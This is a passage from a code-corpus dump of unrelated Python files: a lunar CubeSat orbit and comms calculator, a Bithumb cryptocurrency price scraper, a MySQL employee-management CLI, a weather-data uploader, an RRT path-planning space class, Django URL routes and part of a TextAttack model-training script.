np.divide(s_orbit_kB, 1024)\n\n    __log.info('>>> Comms Orbits = %.0f', comms_orbits)\n    __log.info('>>> U per orbit (kB) = %.0f', u_orbit_kB)\n    __log.info('>>> S per orbit (kB) = %.0f', s_orbit_kB)\n    __log.info('>>> U per orbit (MB) = %.0f', u_orbit_MB)\n    __log.info('>>> S per orbit (MB) = %.0f', s_orbit_MB)\n\n\ndef print_analysis(orbit, impulse, fuel_mass, exhaust_rate):\n    \"\"\"Helper\n    This function prints in the console the results of the analysis.\n    \"\"\"\n    T_s = orbit.T\n    T_h = np.divide(T_s, 3600)\n\n    __log.info('>>> orbital period (s) = %.0f, (h) = %.3f', T_s, T_h)\n    __log.info('>>>     (T_i, T_e) (s) = (%.0f, %.0f)', orbit.T_i, orbit.T_e)\n    __log.info('>>>      delta_v (m/s) = %.3f,', orbit.v)\n    __log.info('>>>        impulse (s) = %s', impulse)\n    __log.info('>>>          fuel (kg) = %s', fuel_mass)\n    __log.info('>>> exhaust rate (g/s) = %s', np.multiply(exhaust_rate, 1000))\n\n\nh = 500000          # altitude in meters\ni = [50, 90]        # inclination of the orbital plane\n\nMOTHER_COVERAGE = 10 * 3600     # hours, mothership / mission specs\nTDMA_SLOTS = 10                 # mothership / mission specs\nU_BITRATE = 512E3             # 512 kbps, mothership / mission specs\nS_BITRATE = 3E6            # 3 Mbps, mothership / mission specs\n\ncubesat_mass = 24               # 12U CubeSat mass (specs)\nprotocol_overhead = 0.1         # comms protocol efficiency (ASSUMPTION)\n\n# ### Calculations\n\nllo = orbiter.Orbiter(h, i, central_body=orbit_k.Moon)\nleo = orbiter.Orbiter(h, i, central_body=orbit_k.Earth)\n\nllo_descent = manoeuvres.calculate_descent(\n    llo, cubesat_mass,\n    descent_delta_v=orbit_k.Moon['llo2surface-delta-v']['value']\n)\nleo_descent = manoeuvres.calculate_descent(\n    leo, cubesat_mass,\n    descent_delta_v=orbit_k.Earth['leo2surface-delta-v']['value']\n)\n\ncomms_orbits = np.divide(MOTHER_COVERAGE, llo.T)\ncoverage_time = np.multiply(comms_orbits, llo.T_i)\ncontact_time = np.divide(coverage_time, TDMA_SLOTS)\n\nu_max_data = np.multiply(\n    np.multiply(contact_time, U_BITRATE), protocol_overhead\n)\ns_max_data = np.multiply(\n    np.multiply(contact_time, S_BITRATE), protocol_overhead\n)\n\n# ### printing results\n__log.info('Results using the Moon as a central body')\nprint_analysis(llo, *llo_descent)\nprint_comms(\n    llo,\n    MOTHER_COVERAGE, coverage_time, contact_time, s_max_data, u_max_data\n)\n# __log.info('Results for the Earth as a central body')\n# print_analysis(leo, *leo_descent)\n","sub_path":"src/spearcube.py","file_name":"spearcube.py","file_ext":"py","file_size_in_byte":4033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"520497726","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\ndef getCryptocurrencyInfo(symbol):\n\n    url = \"https://www.bithumb.com/\"\n\n    _START_TIME = time.time()\n\n    if getNameFromCryptoSymbol(symbol) == 404:        # 항목 없음 에러 코드\n        return 404                              # 함수 종료\n\n    try:\n        response = requests.get(url, timeout=0.9)\n        print(\"getting information about : \" + symbol)\n        #time.sleep(1)\n    except:\n        # timeout 내에 제대로 bithumb.com에서 응답이 돌아오지 않는 경우\n        # 404란 error returning code를 대신 반환하고,\n        # 이것을 run.py\n        return 404, 404, 404, 404, 404, 404, 404\n\n    if response.status_code == 200:\n        #print(\"access ok\")\n        html = response.text\n        soup = BeautifulSoup(html, 'html.parser')\n\n        # selector name 가져오기\n        SELECTOR_NAME_PRICE = \"#assetReal\" + symbol + \"_KRW\"\n        SELECTOR_NAME_CHANGE_KRW = \"#assetRealPrice\" + symbol + \"_KRW\"\n        SELECTOR_NAME_CHANGE_PERCENT = \"#assetRealRate\" + symbol + \"_KRW\"\n        SELECTOR_NAME_TRANSACTION = \"#assetReal\" + symbol + \"_KRW2KRW\"\n\n        cryptocurrency_KRname = getNameFromCryptoSymbol(symbol)\n        cryptocurrency_to_KRW = soup.select_one(SELECTOR_NAME_PRICE).get_text()     # 가격 추출\n        cryptocurrency_change_KRW = soup.select_one(SELECTOR_NAME_CHANGE_KRW).get_text()       # 변동량 추출\n        cryptocurrency_change_PERCENT = soup.select_one(SELECTOR_NAME_CHANGE_PERCENT).get_text()    # 변동률 추출\n        cryptocurrency_transaction_KRW = soup.select_one(SELECTOR_NAME_TRANSACTION).get_text().replace('₩','').split('.', 1)[0] + \" [bithumb 거래소 기준]\"      # 거래량(24hr) 추출\n\n        # 추가 정보\n        # 암호화폐 거래량을 KRW 단위가 아닌 요청한 암호화폐 단위로 보여준다.\n        realTransactionKRW = int(soup.select_one(SELECTOR_NAME_TRANSACTION).get_text().replace('≈','').replace(',','').replace('원','').replace(' ',''))\n        realTransactionCRYPTO = int(soup.select_one(SELECTOR_NAME_PRICE).get_text().replace(',','').replace('원','').replace(' ',''))\n        #print(realTransactionKRW) \n        #print(realTransactionCRYPTO)\n        cryptocurrency_transaction_CRYPTO = round((realTransactionKRW / realTransactionCRYPTO), 2)\n        cryptocurrency_transaction_CRYPTO = \"≈ \" + (\"{:,}\".format(cryptocurrency_transaction_CRYPTO))\n\n        # print(cryptocurrency_KRname)\n        # print(cryptocurrency_to_KRW)\n        # print(cryptocurrency_change_KRW)\n        # print(cryptocurrency_change_PERCENT)\n        # print(cryptocurrency_transaction_KRW)\n        # print(cryptocurrency_transaction_CRYPTO)\n\n        # 문자열로 모두 변환시켜주자(원활한 출력을 위해서)\n\n        _END_TIME = time.time()\n        running_time = round((_END_TIME - _START_TIME), 4)\n        print(\"running time : \", str(running_time) + \" SEC.\")\n\n        return str(cryptocurrency_KRname), str(cryptocurrency_to_KRW), str(cryptocurrency_change_KRW), str(cryptocurrency_change_PERCENT), str(cryptocurrency_transaction_KRW), str(cryptocurrency_transaction_CRYPTO), str(running_time)\n\n\ndef getNameFromCryptoSymbol(symbol):\n\n    file = open('./resource/cryptocurrencySymbolList.txt','rt', encoding='UTF8')\n    \n    try:\n        while True:\n            line = file.readline()\n            if symbol == line.split()[0]:     # 정확한 암호화폐명을 입력해야만 결과를 반환\n                name = line.split('\\t')[1].strip()\n                break\n            if not line:\n                return 404\n\n    except:         # 제대로 입력하지 않아 예외가 생기면 모두 404 에러처리\n        return 404\n    \n    file.close()\n\n    return name\n\n# print(getNameFromCryptoSymbol(\"ARW\"))\n\n# print(getCryptocurrencyInfo(\"BTC\"))\n# print(getCryptocurrencyInfo(\"ETH\"))\n# print(getCryptocurrencyInfo(\"XRP\"))\n# print(getCryptocurrencyInfo(\"DOT\"))\n# print(getCryptocurrencyInfo(\"XLM\"))\n# print(getCryptocurrencyInfo(\"EOS\"))\n# print(getCryptocurrencyInfo(\"TRX\"))\n# print(getCryptocurrencyInfo(\"ARW\"))\n# print(getCryptocurrencyInfo(\"LTC\"))\n# print(getCryptocurrencyInfo(\"CRO\"))\n# print(getCryptocurrencyInfo(\"XTZ\"))\n# print(getCryptocurrencyInfo(\"ETC\"))\n# print(getCryptocurrencyInfo(\"UNI\"))\n# print(getCryptocurrencyInfo(\"VET\"))\n# print(getCryptocurrencyInfo(\"XEM\"))\n# print(getCryptocurrencyInfo(\"ENJ\"))\n# print(getCryptocurrencyInfo(\"GRT\"))","sub_path":"Outdated/getCryptocurrencyInfo_OLD.py","file_name":"getCryptocurrencyInfo_OLD.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"477147399","text":"# __author__ = 橙子老师\r\n# __date__ = 2020-08-24\r\n\r\n# 导入MySQLdb模块\r\nimport MySQLdb\r\nimport config\r\n\r\n\"\"\"\r\n所有回调函数都遵循相同的接口规范，读者在实际开发中，可以将回调函数作为业务层的代码\r\n分离到其它文件\r\n\"\"\"\r\n\r\ndef query_all_employee(table_name, cursor, **kwargs):\r\n    \"\"\"\r\n    :param table_name: 有效的mysql数据表名\r\n    数据表名的关系模型(id, name)\r\n    :param ursor: 数据库的游标对象\r\n    :return:\r\n    \"\"\"\r\n\r\n    sql = \"select id, name from {}\".format(table_name)\r\n    cursor.execute(sql)\r\n    for index, row in enumerate(cursor.fetchall()):\r\n        print(\"{}. 员工编号:{} 员工姓名:{}\".format(index+1, row[0], row[1]))\r\n\r\n\r\ndef add_employee(table_name , cursor, **kwargs):\r\n    \"\"\"\r\n    :param table_name: 有效的mysql数据表名\r\n    数据表名的关系模��(id, name)\r\n    :param cursor: 数据库的游标对象\r\n    :param kwargs: 可变参数，支持传递的参数有db_handler，表示MySQL数据库对象,\r\n    redis_handler表示redis连接对象\r\n    :return:\r\n    \"\"\"\r\n\r\n    employee_name = input(\"请输入员工的姓名:___\\b\\b\\b\")\r\n    age = input(\"请输入员工的年龄:___\\b\\b\\b\")\r\n    salary = input(\"请输入员工的工资:___\\b\\b\\b\")\r\n    sex = input(\"请输入员工的性别:___\\b\\b\\b\")\r\n\r\n\r\n    sql =  \"insert into {}(name,age,slalary,sex) values(%s,%s,%s,%s)\".format(table_name)\r\n\r\n    affected_rows = cursor.execute(sql, (employee_name,age,salary,sex ))\r\n    if affected_rows < 1:\r\n        print(\"数据库操作发生异常\")\r\n    else:\r\n        _ = kwargs[\"db_handler\"].commit() if \"db_handler\" in kwargs else None\r\n        print(\"员工{}已被添加至数据库\".format(employee_name))\r\n\r\n\r\ndef delete_employee(table_name, cursor, **kwargs):\r\n    \"\"\"\r\n    :param table_name: 有效的mysql数据表名\r\n    数据表名的关系模型(id, name)\r\n    :param cursor: 数据库的游标对象\r\n    :param kwargs: 可变参数，支持传递的参数有db_handler，表示MySQL数据库对象,\r\n    redis_handler表示redis连接对象\r\n    :return:\r\n    \"\"\"\r\n\r\n    try:\r\n        employee_id = int(input(\"请输入员工的编号:__\\b\\b\"))\r\n    except ValueError:\r\n        employee_id = -1\r\n        print(\"你输入了无效的员工编号\")\r\n\r\n    if employee_id > 0:\r\n        sql = \"delete from {} where id=%s\".format(table_name)\r\n        affected_rows = cursor.execute(sql, (employee_id, ))\r\n        if affected_rows < 1:\r\n            print(\"员工编号{}不存在\".format(employee_id))\r\n        else:\r\n            _ = kwargs[\"db_handler\"].commit() if \"db_handler\" in kwargs else None\r\n            print(\"编号为{}的员工已从数据库删除\".format(employee_id))\r\n\r\n\r\nclass SimpleEmployeeMs:\r\n\r\n    def __init__(self, table_name, cursor, db_handler=None, redis_handler=None):\r\n        self.__db_handler = db_handler\r\n        self.__table_name = table_name\r\n        self.__cursor = cursor\r\n        self.__redis_handler = redis_handler\r\n\r\n        \"\"\"\r\n        定义命令字典结构,格式举例:{\r\n        1: callback_function\r\n        }\r\n        这样用户在输入指定的命令时，直接调用对应的回调函数\r\n        回调函数由用户进行定义\r\n        \"\"\"\r\n        self.__commands = {}\r\n        self.__begin_prompt = \"输入<>中的指令来执行对应的操作:\\n\"\r\n        self.__quit_prompt = \"<quit> 退出员工管理系统\\n\"\r\n        self.__prompts = []\r\n        self.__command_index = 1\r\n\r\n    def __obtain_user_command(self, prompt):\r\n\r\n        command = \"quit\"\r\n        valid = True\r\n        try:\r\n            command = input(prompt)\r\n            _ = self.__commands[int(command)]\r\n\r\n        except (ValueError, KeyError):\r\n            if command != \"quit\":\r\n                command = None\r\n                valid = False\r\n        return command, valid\r\n\r\n    def add_command(self, prompt, cb):\r\n        '''\r\n\r\n        :param prompt:表示命令行的提示消息，eg：\"查询所有员工\"\r\n        :param cb: 回调函数，用来定义特定的业务逻辑\r\n        :return:\r\n        '''\r\n        self.__commands[self.__command_index] = cb\r\n        \"\"\"\r\n        (1)__commands是一个字典对象，键名为命令编号，\r\n        键值为具体的命令执行，通过回调函数来执行相应的处理\r\n        {\r\n            0:command,\r\n            1:command\r\n        \"\"\"\r\n        self.__command_index +=1\r\n        self.__prompts.append(prompt)\r\n\r\n    def __generate_prompt(self):\r\n        prompt = self.__begin_prompt\r\n        for index, value in enumerate(self.__prompts):\r\n            prompt += \"<{}> {}\\n\".format(index+1, value)\r\n        prompt += self.__quit_prompt\r\n        return prompt\r\n\r\n\r\n    def serve_forever(self):\r\n        prompt =  self.__generate_prompt()\r\n        while True:\r\n            command, valid = self.__obtain_user_command(prompt)\r\n            if not valid:\r\n                print(\"你输入了非法的指令!\")\r\n                continue\r\n\r\n            if command == \"quit\":\r\n                    break\r\n\r\n            self.__commands[int(command)](self.__table_name, self.__cursor,\r\n                                          db_handler = self.__db_handler)\r\n            print(\"--------------------------------------------\\n\")\r\n\r\n        self.__cursor.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n    \"\"\"\r\n    (1)数据库的配置信息\r\n    (2)读者在实际开发中，可以将配置信息单独写到配置文件中，\r\n        将配置信息与具体的业务代码进行分离，有助于提升代码的可维护性\r\n    \"\"\"\r\n\r\n\r\n\r\n    \"\"\"\r\n    在连接数据库时，需指定��据库的字符编码，否则会出现乱码\r\n    mysql创建数据表时的默认编码为utf8\r\n    \"\"\"\r\n    try:\r\n            db = MySQLdb.connect(config.DB_CONFIG[\"mysql\"][\"host\"], config.DB_CONFIG[\"mysql\"][\"username\"],\r\n                                 config.DB_CONFIG[\"mysql\"][\"password\"], config.DB_CONFIG[\"mysql\"][\"database\"],\r\n                                 charset=\"utf8\")\r\n            mysql_cursor = db.cursor()\r\n            table_name = 'employee'\r\n            # 如果cursor对象无效或表名table_name不存在，则会产生异常\r\n            mysql_cursor.execute(\"select 0 from {}\".format(table_name))\r\n            simple_employee_ms = SimpleEmployeeMs(table_name, mysql_cursor, db)\r\n\r\n            # 员工管理系统的命令行选项，以及处理逻辑都由用户来进行定义\r\n            simple_employee_ms.add_command(\"查询所有员工\", query_all_employee)\r\n            simple_employee_ms.add_command(\"添加新员工\",  add_employee)\r\n            simple_employee_ms.add_command(\"删除老员工\", delete_employee)\r\n            simple_employee_ms.serve_forever()\r\n\r\n    except Exception as e:\r\n            print(\"数据库连接或获取游标对象时产生异常！{}\".format(e))","sub_path":"chenzhan/simple_employee_ms.py","file_name":"simple_employee_ms.py","file_ext":"py","file_size_in_byte":6824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"517478108","text":"import os\nimport logging\nimport json\n\nimport requests\n\n\nDATETIME_FORMAT = '%Y-%m-%dT%H:%M:00Z'\nLOG = logging.getLogger(__name__)\n\n\nclass Uploader(object):\n    API_URL = None\n    API_TOKEN = None\n\n    def __init__(self):\n        # Load the credentials from the env\n        self.API_URL = os.environ['SEALEVEL_API_URL']\n        self.API_URL_NEW = os.environ['SEALEVEL_API_URL_NEW']\n        self.API_TOKEN = os.environ['SEALEVEL_API_TOKEN']\n\n    @classmethod\n    def encode_datetime(cls, row):\n        row['timestamp'] = row['timestamp'].strftime(DATETIME_FORMAT)\n        return row\n\n    @classmethod\n    def prepare(cls, observation):\n        data = dict(observation._asdict())\n        data = cls.encode_datetime(data)\n        data['wind_degrees'] = data['wind_direction']\n        data['wind_direction'] = ''\n\n        data['wind_gust'] = cls.knots_to_si(data['wind_speed_highest'])\n        del data['wind_speed_highest']\n\n        data['wind_speed'] = cls.knots_to_si(data['wind_speed_average'])\n        del data['wind_speed_average']\n\n        data['temperature'] = data['air_temperature']\n        del data['air_temperature']\n\n        data['precipitation'] = data['rainfall']\n        del data['rainfall']\n\n        data['datetime'] = data['timestamp']\n        del data['timestamp']\n\n        del data['dew_point']\n        del data['humidity']\n\n        data['supplier'] = 'seatruck'\n        data['minute'] = data['datetime']\n        return data\n\n    @classmethod\n    def knots_to_si(cls, knots):\n        return knots * (1852.0 / 3600.0)\n\n    def upload(self, slug, observation):\n        headers = {\n            'Authorization': 'Token {}'.format(self.API_TOKEN),\n            'Content-Type': 'application/json'\n        }\n\n        url = self.API_URL.format(location_slug=slug)\n        url_new = self.API_URL_NEW.format(location_slug=slug)\n        data = self.prepare(observation)\n        payload = json.dumps([data])\n        print(payload)\n        LOG.info('HTTP POST {}'.format(url))\n        response = requests.post(url, payload, headers=headers, timeout=90)\n        response.raise_for_status()\n\n        response = requests.post(url_new, payload, headers=headers, timeout=90)\n        response.raise_for_status()\n","sub_path":"collector/uploader.py","file_name":"uploader.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"541890814","text":"import math\nimport random\nimport uuid\n\nimport numpy as np\nfrom rtree import index\n\n\ndef obstacle_generator(obstacles):\n    \"\"\"\n    Add obstacles to r-tree\n    \"\"\"\n    for obstacle in obstacles:\n        yield (uuid.uuid4(), obstacle, obstacle)\n\n\ndef dist_between_points(a, b):\n    \"\"\"\n    #return: Euclidean distance between a and b\n    \"\"\"\n    distance = sum(map(lambda a_b: (a_b[0] - a_b[1]) ** 2, zip(a, b)))\n\n    return math.sqrt(distance)\n\n\nclass ConfigureSpace(object):\n    def __init__(self, dimension_lengths, O=None):\n        \"\"\"\n        Initialize Search Space\n        \"\"\"\n        # sanity check\n        if len(dimension_lengths) < 2:\n            raise Exception(\"Must have at least 2 dimensions\")\n        self.dimensions = len(dimension_lengths)  # number of dimensions\n        # sanity checks\n        if any(len(i) != 2 for i in dimension_lengths):\n            raise Exception(\"Dimensions can only have a start and end\")\n        if any(i[0] >= i[1] for i in dimension_lengths):\n            raise Exception(\"Dimension start must be less than dimension end\")\n        self.dimension_lengths = dimension_lengths  # length of each dimension\n        p = index.Property()\n        p.dimension = self.dimensions\n        if O is None:\n            self.obs = index.Index(interleaved=True, properties=p)\n        else:\n            # r-tree representation of obstacles\n            # sanity check\n            if any(len(o) / 2 != len(dimension_lengths) for o in O):\n                raise Exception(\"Obstacle has incorrect dimension definition\")\n            if any(o[i] >= o[int(i + len(o) / 2)] for o in O for i in range(int(len(o) / 2))):\n                raise Exception(\"Obstacle start must be less than obstacle end\")\n            self.obs = index.Index(obstacle_generator(O), interleaved=True, properties=p)\n\n    def obstacle_free(self, x):\n        \"\"\"\n        Check if a location resides inside of an obstacle\n\n        \"\"\"\n        return self.obs.count(x) == 0\n\n    def sample_free(self,x_new):\n        \"\"\"\n        Sample a location within X_free\n        \"\"\"\n\n        while True:  # sample until not inside of an obstacle\n            x = self.sample()\n            if self.obstacle_free(x):\n                return x\n\n    def collision_free(self, start, end, r):\n        \"\"\"\n        Check if a line segment intersects an obstacle\n        \"\"\"\n        dist = dist_between_points(start, end)\n        # divide line between points into equidistant points at given resolution\n        dim_linspaces = [np.linspace(s_i, e_i, int(math.ceil(dist / r))) for s_i, e_i in zip(start, end)]\n\n        coll_free = all(map(self.obstacle_free, zip(*dim_linspaces)))\n\n        return coll_free\n\n    def sample(self):\n        \"\"\"\n        Return a random location within X\n        \"\"\"\n        x = np.empty(len(self.dimension_lengths), np.float)\n        for dimension in range(len(self.dimension_lengths)):\n\n            x[dimension] = random.uniform(self.dimension_lengths[dimension][0], self.dimension_lengths[dimension][1])\n\n        return tuple(x)\n","sub_path":"Phase2/configure_space.py","file_name":"configure_space.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"145460040","text":"from django.conf.urls import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nfrom hellodjango.views import hello, current_datetime, hours_ahead\n\nurlpatterns = patterns('',\n    # Examples:\n    url(r'^$', 'hellodjango.views.home', name='home'),\n    # url(r'^blog/', include('blog.urls')),\n\n    # my urls\n    url(r'^hello/$', hello),\n    url(r'^time/$', current_datetime),\n    url(r'^time/plus/(\\d{1,2})/$', hours_ahead),\n    url(r'^books/$', 'books.views.publishers', name='publishers'),\n    url(r'^meta/$', 'hellodjango.views.display_meta', name='display_meta'),\n    url(r'^search/$', 'books.views.search', name='search'),\n    url(r'^contact/$', 'hellodjango.views.contact', name='contact'),\n    url(r'^contact/thanks/$', 'hellodjango.views.thanks', name='thanks'),\n\n    # admin urls\n    url(r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"hellodjango/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"17201275","text":"import json\nimport logging\nimport os\nimport time\n\nimport numpy as np\nimport scipy\nimport torch\nfrom torch.utils.data import DataLoader, Dataset, RandomSampler\nimport tqdm\nimport transformers\n\nimport textattack\n\nfrom .train_args_helpers import dataset_from_args, model_from_args, write_readme\n\ndevice = textattack.shared.utils.device\nlogger = textattack.shared.logger\n\n\ndef make_directories(output_dir):\n    if not os.path.exists(output_dir):\n        os.makedirs(output_dir)\n\n\ndef batch_encode(tokenizer, text_list):\n    if hasattr(tokenizer, \"batch_encode\"):\n        return tokenizer.batch_encode(text_list)\n    else:\n        return [tokenizer.encode(text_input) for text_input in text_list]\n\n\ndef train_model(args):\n    logger.warn(\n        \"WARNING: TextAttack's model training feature is in beta. Please report any issues on our Github page, https://github.com/QData/TextAttack/issues.\"\n    )\n    start_time = time.time()\n    make_directories(args.output_dir)\n\n    num_gpus = torch.cuda.device_count()\n\n    # Save logger writes to file\n    log_txt_path = os.path.join(args.output_dir, \"log.txt\")\n    fh = logging.FileHandler(log_txt_path)\n    fh.setLevel(logging.DEBUG)\n    logger.addHandler(fh)\n    logger.info(f\"Writing logs to {log_txt_path}.\")\n\n    # Use Weights & Biases, if enabled.\n    if args.enable_wandb:\n        global wandb\n        import wandb\n\n        wandb.init(sync_tensorboard=True)\n\n    # Get list of text and list of label (integers) from disk.\n    train_text, train_labels, eval_text, eval_labels = dataset_from_args(args)\n\n    # Filter labels\n    if args.allowed_labels:\n        logger.info(f\"Filtering samples with labels outside of {args.allowed_labels}.\")\n        final_train_text, final_train_labels = [], []\n        for text, label in zip(train_text, train_labels):\n            if label in args.allowed_labels:\n                final_train_text.append(text)\n                final_train_labels.append(label)\n        logger.info(\n            f\"Filtered {len(train_text)} train samples to {len(final_train_text)} points.\"\n        )\n        train_text, train_labels = final_train_text, final_train_labels\n        final_eval_text, final_eval_labels = [], []\n        for text, label in zip(eval_text, eval_labels):\n            if label in args.allowed_labels:\n                final_eval_text.append(text)\n                final_eval_labels.append(label)\n        logger.info(\n            f\"Filtered {len(eval_text)} dev samples to {len(final_eval_text)} points.\"\n        )\n        eval_text, eval_labels = final_eval_text, final_eval_labels\n\n    label_id_len = len(train_labels)\n    label_set = set(train_labels)\n    args.num_labels = len(label_set)\n    logger.info(\n        f\"Loaded dataset. Found: {args.num_labels} labels: ({sorted(label_set)})\"\n    )\n\n    if isinstance(train_labels[0], float):\n        # TODO come up with a more sophisticated scheme for when to do regression\n        logger.warn(f\"Detected float labels. Doing regression.\")\n        args.num_labels = 1\n        args.do_regression = True\n    else:\n        args.do_regression = False\n\n    train_examples_len = len(train_text)\n\n    if len(train_labels) != train_examples_len:\n        raise ValueError(\n            f\"Number of train examples ({train_examples_len}) does not match number of labels ({len(train_labels)})\"\n        )\n    if len(eval_labels) != len(eval_text):\n        raise ValueError(\n            f\"Number of teste xamples ({len(eval_text)}) does not match number of labels ({len(eval_labels)})\"\n        )\n\n    model = model_from_args(args, args.num_labels)\n    tokenizer = model.tokenizer\n\n    logger.info(f\"Tokenizing training data. (len: {train_examples_len})\")\n    train_text_ids = batch_encode(tokenizer, train_text)\n    logger.info(f\"Tokenizing eval data (len: {len(eval_labels)})\")\n    eval_text_ids = batch_encode(tokenizer, eval_text)\n    load_time = time.time()\n    logger.info(f\"Loaded data and tokenized in {load_time-start_time}s\")\n\n    # multi-gpu training\n    if num_gpus > 1:\n        model = torch.nn.DataParallel(model)\n    logger.info(f\"Training model across {num_gpus} GPUs\")\n\n    num_train_optimization_steps = (\n        int(train_examples_len / args.batch_size / args.grad_accum_steps)\n        * args.num_train_epochs\n    )\n\n    param_optimizer = list(model.named_parameters())\n    no_decay = [\"bias\", \"LayerNorm.bias\", \"LayerNorm.weight\"]\n    optimizer_grouped_parameters = [\n        {\n            \"params\": [\n                p for n, p in param_optimizer if not any(nd in n for nd in no_decay)\n            ],\n            \"weight_decay\": 0.01,\n        },\n        {\n            \"params\": [\n                p for n, p in param_optimizer if any(nd in n for nd in no_decay)\n            ],\n            \"weight_decay\": 0.0,\n        },\n    ]\n\n    optimizer = transformers.optimization.AdamW(\n        optimizer_grouped_parameters, lr=args.learning_rate\n    )\n\n    scheduler = transformers.optimization.get_linear_schedule_with_warmup(\n        optimizer,\n        num_warmup_steps=args.warmup_proportion,\n        num_training_steps=num_train_optimization_steps,\n    )\n\n    global_step = 0\n\n    # Start Tensorboard and log hyperparams.\n    from tensorboardX import SummaryWriter\n\n    tb_writer = SummaryWriter(args.output_dir)\n\n    def is_writable_type(obj):\n        for ok_type in [bool, int, str, float]:\n            if isinstance(obj, ok_type):\n                return True\n        return False\n\n    args_dict = {k: v for k, v in vars(args).items() if is_writable_type(v)}\n\n    tb_writer.add_hparams(args_dict, {})\n\n    # Start training\n    logger.info(\"***** Running training *****\")\n    logger.info(f\"\\tNum examples = {train_examples_len}\")\n    logger.info(f\"\\tBatch size = {args.batch_size}\")\n    logger.info(f\"\\tMax sequence length = {args.max_length}\")\n    logger.info(f\"\\tNum steps = {num_train_optimization_steps}\")\n    logger.info(f\"\\tNum epochs = {args.num_train_epochs}\")\n    logger.info(f\"\\tLearning rate = {args.learning_rate}\")\n\n    train_input_ids = np.array(train_text_ids)\n    train_labels = np.array(train_labels)\n    train_data = list((ids, label) for ids, label in zip(train_input_ids, train_labels))\n    train_sampler = RandomSampler(train_data)\n    train_dataloader = DataLoader(\n        train_data, sampler=train_sampler, batch_size=args.batch_size\n    )\n\n    eval_input_ids = np.array(eval_text_ids)\n    eval_labels = np.array(eval_labels)\n    eval_data = list((ids, label) for ids, label in zip(eval_input_ids, eval_labels))\n    eval_sampler = RandomSampler(eval_data)\n    eval_dataloader = DataLoader(\n        eval_data, sampler=eval_sampler, batch_size=args.batch_size\n    )\n\n    def get_eval_score():\n        model.eval()\n        correct = 0\n        total = 0\n        logits = []\n        labels = []\n        for input_ids, batch_labels in eval_dataloader:\n            if isinstance(input_ids, dict):\n                ## HACK: dataloader collates dict backwards. This is a temporary\n                # workaround to get ids in the right shape\n                input_ids = {\n                    k: torch.stack(v).T.to(device) for k, v in input_ids.items()\n                }\n            batch_labels = batch_labels.to(device)\n\n            with torch.no_grad():\n                batch_logits = textattack.shared.utils.model_predict(model, input_ids)\n\n            logits.extend(batch_logits.cpu().squeeze().tolist())\n            labels.extend(batch_labels)\n\n        model.train()\n        logits = torch.tensor(logits)\n        labels = torch.tensor(labels)\n\n        if args.do_regression:\n            pearson_correlation, pearson_p_value = scipy.stats.pearsonr(logits, labels)\n            return pearson_correlation\n        else:\n            preds = logits.argmax(dim=1)\n            correct = (preds == labels).sum()\n            return float(correct) / len(labels)\n\n    def save_model():\n        model_to_save = (\n            model.module if hasattr(model, \"module\") else model\n        )  # Only save the model itself\n\n        # If we save using the predefined names, we can load using `from_pretrained`\n        output_model_file = os.path.join(args.output_dir, args.weights_name)\n        output_config_file = os.path.join(args.output_dir, args.config_name)\n\n        torch.save(model_to_save.state_dict(), output_model_file)\n        try:\n            model_to_save.config.to_json_file(output_config_file)\n        except AttributeError:\n            # no config\n            pass\n\n    global_step = 0\n\n    def save_model_checkpoint():\n        # Save model checkpoint\n        output_dir = os.path.join(args.output_dir, \"checkpoint-{}\".format(global_step))\n        if not os.path.exists(output_dir):\n            os.makedirs(output_dir)\n        # Take care of distributed/parallel training\n        model_to_save = model.module if hasattr(model, \"module\") else model\n        model_to_save.save_pretrained(output_dir)\n        torch.save(args, os.path.join(output_dir, \"training_args.bin\"))\n        logger.info(f\"Checkpoint saved to {output_dir}.\")\n\n    model.train()\n    args.best_eval_score = 0\n    args.best_eval_score_epoch = 0\n    args.epochs_since_best_eval_score = 0\n\n    def loss_backward(loss):\n        if num_gpus > 1:\n            loss = loss.mean()  # mean() to average on multi-gpu parallel training\n        if args.grad_accum_steps > 1:\n            loss = loss / args.grad_accum_steps\n        loss.backward()\n        return loss\n\n    for epoch in tqdm.trange(\n        int(args.num_train_epochs), desc=\"Epoch\", position=0, leave=False\n    ):\n        prog_bar = tqdm.tqdm(\n            train_dataloader, desc=\"Iteration\", position=1, leave=False\n        )\n        for step, batch in enumerate(prog_bar):\n            input_ids, labels = batch\n            labels = labels.to(device)\n            if isinstance(input_ids, dict):\n                ## HACK: dataloader collates dict backwards. This is a temporary\n                # workaround to get ids in the right shape\n                input_ids = {\n                    k: torch.stack(v).T.to(device) for k, v in input_ids.items()\n                }\n            logits = textattack.shared.utils.model_predict(model, input_ids)\n\n            if args.do_regression:\n                # TODO integrate with textattack `metrics` package\n                loss_fct = torch.nn.MSELoss()\n                loss = loss_fct(logits.squeeze(), labels.squeeze())\n            else:\n                loss_fct = torch.nn.CrossEntropyLoss()\n                loss = loss_fct(logits, labels)\n            loss = loss_backward(loss)\n\n            if global_step % args.tb_writer_step == 0:\n                tb_writer.add_scalar(\"loss\", loss.item(), global_step)\n                tb_writer.add_scalar(\"lr\", scheduler.get_last_lr()[0], global_step)\n            prog_bar.set_description(f\"Loss {loss.item()}\")\n            if (step + 1) % args.grad_accum_steps == 0:\n                optimizer.step()\n                scheduler.step()\n                optimizer.zero_grad()\n            # Save model checkpoint to file.\n            if (\n                global_step > 0\n                and (args.checkpoint_steps > 0)\n                and (global_step % args.checkpoint_steps) == 0\n            ):\n                save_model_checkpoint()\n\n            model.zero_grad()\n\n            # Inc step counter.\n            global_step += 1\n\n        # Check accuracy after each epoch.\n        eval_score = get_eval_score()\n        tb_writer.add_scalar(\"epoch_eval_score\", eval_score, global_step)\n\n        if 